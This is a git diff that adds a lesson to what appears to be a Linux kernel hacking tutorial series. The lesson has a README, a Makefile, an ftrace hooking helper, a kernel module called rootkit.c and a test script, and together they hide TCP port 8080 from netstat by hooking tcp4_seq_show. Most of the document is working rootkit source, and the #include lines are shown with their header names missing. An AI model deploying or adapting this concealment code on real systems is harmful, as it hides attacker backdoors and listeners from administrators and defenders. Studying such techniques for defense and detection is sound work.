diff --git a/3_RootkitTechniques/3.6_hiding_ports/Makefile b/3_RootkitTechniques/3.6_hiding_ports/Makefile new file mode 100644 index 0000000..1856805 --- /dev/null +++ b/3_RootkitTechniques/3.6_hiding_ports/Makefile @@ -0,0 +1,7 @@ +obj-m += rootkit.o + +all: + make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules + +clean: + make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean diff --git a/3_RootkitTechniques/3.6_hiding_ports/README.md b/3_RootkitTechniques/3.6_hiding_ports/README.md new file mode 100644 index 0000000..f5f714e --- /dev/null +++ b/3_RootkitTechniques/3.6_hiding_ports/README.md @@ -0,0 +1,22 @@ +# Linux Kernel Hacking + +## 3.6: Hiding open ports (8080) + +Most linux applications that search for local open ports (netstat included) use the `/proc/net/tcp` pseudo-file to do so. In particular, parsing this file is handled by `tcp4_seq_show` in [`net/ipv4/tcp_ipv4.c`](https://github.com/torvalds/linux/blob/a1d21081a60dfb7fddf4a38b66d9cef603b317a9/net/ipv4/tcp_ipv4.c#L2600). By hooking this function, we can choose to hide a particular open port from userspace. + +However, hooking a kernel function is nowhere near as simple as hooking a syscall. Syscalls are easy because we just look up the memory address of the syscall table and modify the corresponding entry to point a different function that we control. While `tcp4_seq_show` does indeed appear in `/proc/kallsymms` (which means we can use `kallsyms_lookup_name()` again), we don't have anything to modify because the address returned is the function pointer itself, rather than a pointer to a pointer! + +The solution is to use [ftrace](https://www.kernel.org/doc/html/latest/trace/ftrace.html). While it's meant to be used for debugging the kernel, we can use it to replace the `tcp4_seq_show` function in memory with a hook instead. If you want to understand what's going on with ftrace, then I suggest taking a look at the documentation linked. There's a bunch of helper functions in [`ftrace_helper.h`](./ftrace_helper.h), so that we can focus on the actual function hook in [`rootkit.c`](./rootkit.c). + +As far as the function hooking goes, it's quite simple. We give a function declaration for the original `tcp4_seq_show()`, then we define the function `hook_tcp4_seq_show()`. This hook simply checks to see if the local port number given by `sk->sk_num` is 8080 (`0x1f90` in hex), and if so it just returns `0`. Otherwise, we go ahead and pass the given arguments to the real `tcp4_seq_show()`. Note that because we aren't hook a syscall this time, we don't have to worry about `pt_regs` because the arguments are passed on the stack rather than in registers! + +Then, we define the `hooks` array which contains `ftrace_hook` structs containing the name, hook function address and original function address. If we wanted to, we could add more hooks to this array and, as long as the original and hook functions are defined as for `tcp4_seq_show()`, they would be hooked alongside. Once we enter the module initialization function, we just call the `fh_install_hooks()` function defined in [`ftrace_helper.h`](./ftrace_helper.h) and pass the `hooks` array to it. This does all the heavy lifting for us. Likewise, when module exit function gets called, we just call the `fh_remove_hooks()` function. + +To use: +* Build with `make` +* Load with `insmod rootkit.ko` +* In another terminal, create a netcat listener on port 8080 with `nc -lvnp 8080` +* Check all the open local ports with `netstat -tunelp` +* Observe that port 8080 is *not* listed! +* Unload with `rmmod rootkit` +* Check the output of `netstat -tunelp` again and see that port 8080 now shows up! diff --git a/3_RootkitTechniques/3.6_hiding_ports/ftrace_helper.h b/3_RootkitTechniques/3.6_hiding_ports/ftrace_helper.h new file mode 100644 index 0000000..5b5a392 --- /dev/null +++ b/3_RootkitTechniques/3.6_hiding_ports/ftrace_helper.h @@ -0,0 +1,171 @@ +/* + * Helper library for ftrace hooking kernel functions + * Author: Harvey Phillips (xcellerator@gmx.com) + * License: GPL + * */ + +#include +#include +#include +#include + +#define HOOK(_name, _hook, _orig) \ +{ \ + .name = (_name), \ + .function = (_hook), \ + .original = (_orig), \ +} + +/* We need to prevent recursive loops when hooking, otherwise the kernel will + * panic and hang. The options are to either detect recursion by looking at + * the function return address, or by jumping over the ftrace call. We use the + * first option, by setting USE_FENTRY_OFFSET = 0, but could use the other by + * setting it to 1. (Oridinarily ftrace provides it's own protections against + * recursion, but it relies on saving return registers in $rip. We will likely + * need the use of the $rip register in our hook, so we have to disable this + * protection and implement our own). + * */ +#define USE_FENTRY_OFFSET 0 + +/* We pack all the information we need (name, hooking function, original function) + * into this struct. This makes is easier for setting up the hook and just passing + * the entire struct off to fh_install_hook() later on. + * */ +struct ftrace_hook { + const char *name; + void *function; + void *original; + + unsigned long address; + struct ftrace_ops ops; +}; + +/* Ftrace needs to know the address of the original function that we + * are going to hook. As before, we just use kallsyms_lookup_name() + * to find the address in kernel memory. + * */ +static int fh_resolve_hook_address(struct ftrace_hook *hook) +{ + hook->address = kallsyms_lookup_name(hook->name); + + if (!hook->address) + { + printk(KERN_DEBUG "rootkit: unresolved symbol: %s\n", hook->name); + return -ENOENT; + } + +#if USE_FENTRY_OFFSET + *((unsigned long*) hook->original) = hook->address + MCOUNT_INSN_SIZE; +#else + *((unsigned long*) hook->original) = hook->address; +#endif + + return 0; +} + +/* See comment below within fh_install_hook() */ +static void notrace fh_ftrace_thunk(unsigned long ip, unsigned long parent_ip, struct ftrace_ops *ops, struct pt_regs *regs) +{ + struct ftrace_hook *hook = container_of(ops, struct ftrace_hook, ops); + +#if USE_FENTRY_OFFSET + regs->ip = (unsigned long) hook->function; +#else + if(!within_module(parent_ip, THIS_MODULE)) + regs->ip = (unsigned long) hook->function; +#endif +} + +/* Assuming we've already set hook->name, hook->function and hook->original, we + * can go ahead and install the hook with ftrace. This is done by setting the + * ops field of hook (see the comment below for more details), and then using + * the built-in ftrace_set_filter_ip() and register_ftrace_function() functions + * provided by ftrace.h + * */ +int fh_install_hook(struct ftrace_hook *hook) +{ + int err; + err = fh_resolve_hook_address(hook); + if(err) + return err; + + /* For many of function hooks (especially non-trivial ones), the $rip + * register gets modified, so we have to alert ftrace to this fact. This + * is the reason for the SAVE_REGS and IP_MODIFY flags. However, we also + * need to OR the RECURSION_SAFE flag (effectively turning if OFF) because + * the built-in anti-recursion guard provided by ftrace is useless if + * we're modifying $rip. This is why we have to implement our own checks + * (see USE_FENTRY_OFFSET). */ + hook->ops.func = fh_ftrace_thunk; + hook->ops.flags = FTRACE_OPS_FL_SAVE_REGS + | FTRACE_OPS_FL_RECURSION_SAFE + | FTRACE_OPS_FL_IPMODIFY; + + err = ftrace_set_filter_ip(&hook->ops, hook->address, 0, 0); + if(err) + { + printk(KERN_DEBUG "rootkit: ftrace_set_filter_ip() failed: %d\n", err); + return err; + } + + err = register_ftrace_function(&hook->ops); + if(err) + { + printk(KERN_DEBUG "rootkit: register_ftrace_function() failed: %d\n", err); + return err; + } + + return 0; +} + +/* Disabling our function hook is just a simple matter of calling the built-in + * unregister_ftrace_function() and ftrace_set_filter_ip() functions (note the + * opposite order to that in fh_install_hook()). + * */ +void fh_remove_hook(struct ftrace_hook *hook) +{ + int err; + err = unregister_ftrace_function(&hook->ops); + if(err) + { + printk(KERN_DEBUG "rootkit: unregister_ftrace_function() failed: %d\n", err); + } + + err = ftrace_set_filter_ip(&hook->ops, hook->address, 1, 0); + if(err) + { + printk(KERN_DEBUG "rootkit: ftrace_set_filter_ip() failed: %d\n", err); + } +} + +/* To make it easier to hook multiple functions in one module, this provides + * a simple loop over an array of ftrace_hook struct + * */ +int fh_install_hooks(struct ftrace_hook *hooks, size_t count) +{ + int err; + size_t i; + + for (i = 0 ; i < count ; i++) + { + err = fh_install_hook(&hooks[i]); + if(err) + goto error; + } + return 0; + +error: + while (i != 0) + { + fh_remove_hook(&hooks[--i]); + } + return err; +} + +void fh_remove_hooks(struct ftrace_hook *hooks, size_t count) +{ + size_t i; + + for (i = 0 ; i < count ; i++) + fh_remove_hook(&hooks[i]); +} diff --git a/3_RootkitTechniques/3.6_hiding_ports/rootkit.c b/3_RootkitTechniques/3.6_hiding_ports/rootkit.c new file mode 100644 index 0000000..191f960 --- /dev/null +++ b/3_RootkitTechniques/3.6_hiding_ports/rootkit.c @@ -0,0 +1,67 @@ +#include +#include +#include +#include +#include +#include + +#include "ftrace_helper.h" + +MODULE_LICENSE("GPL"); +MODULE_AUTHOR("TheXcellerator"); +MODULE_DESCRIPTION("Hiding open ports"); +MODULE_VERSION("0.01"); + +/* Function declaration for the original tcp4_seq_show() function that we + * are going to hook. + * */ +static asmlinkage long (*orig_tcp4_seq_show)(struct seq_file *seq, void *v); + +/* This is our hook function for tcp4_seq_show */ +static asmlinkage long hook_tcp4_seq_show(struct seq_file *seq, void *v) +{ + long ret; + struct sock *sk = v; + + /* 0x1f90 = 8080 in hex */ + if (sk != 0x1 && sk->sk_num == 0x1f90) + { + printk(KERN_DEBUG "rootkit: Found process listening on port 8080 - hiding!\n"); + return 0; + } + + ret = orig_tcp4_seq_show(seq, v); + return ret; +} + +/* We are going to use the fh_install_hooks() function from ftrace_helper.h + * in the module initialization function. This function takes an array of + * ftrace_hook structs, so we initialize it with what we want to hook + * */ +static struct ftrace_hook hooks[] = { + HOOK("tcp4_seq_show", hook_tcp4_seq_show, &orig_tcp4_seq_show), +}; + +/* Module initialization function */ +static int __init rootkit_init(void) +{ + /* Simply call fh_install_hooks() with hooks (defined above) */ + int err; + err = fh_install_hooks(hooks, ARRAY_SIZE(hooks)); + if(err) + return err; + + printk(KERN_INFO "rootkit: Loaded >:-)\n"); + + return 0; +} + +static void __exit rootkit_exit(void) +{ + /* Simply call fh_remove_hooks() with hooks (defined above) */ + fh_remove_hooks(hooks, ARRAY_SIZE(hooks)); + printk(KERN_INFO "rootkit: Unloaded :-(\n"); +} + +module_init(rootkit_init); +module_exit(rootkit_exit); diff --git a/3_RootkitTechniques/3.6_hiding_ports/test.sh b/3_RootkitTechniques/3.6_hiding_ports/test.sh new file mode 100755 index 0000000..6e97b95 --- /dev/null +++ b/3_RootkitTechniques/3.6_hiding_ports/test.sh @@ -0,0 +1,15 @@ +sudo dmesg -C && + +make clean && +make && +clear && + +sudo insmod rootkit.ko && + +echo "" && +cat /proc/net/tcp && +echo "" && + +sudo rmmod rootkit && + +dmesg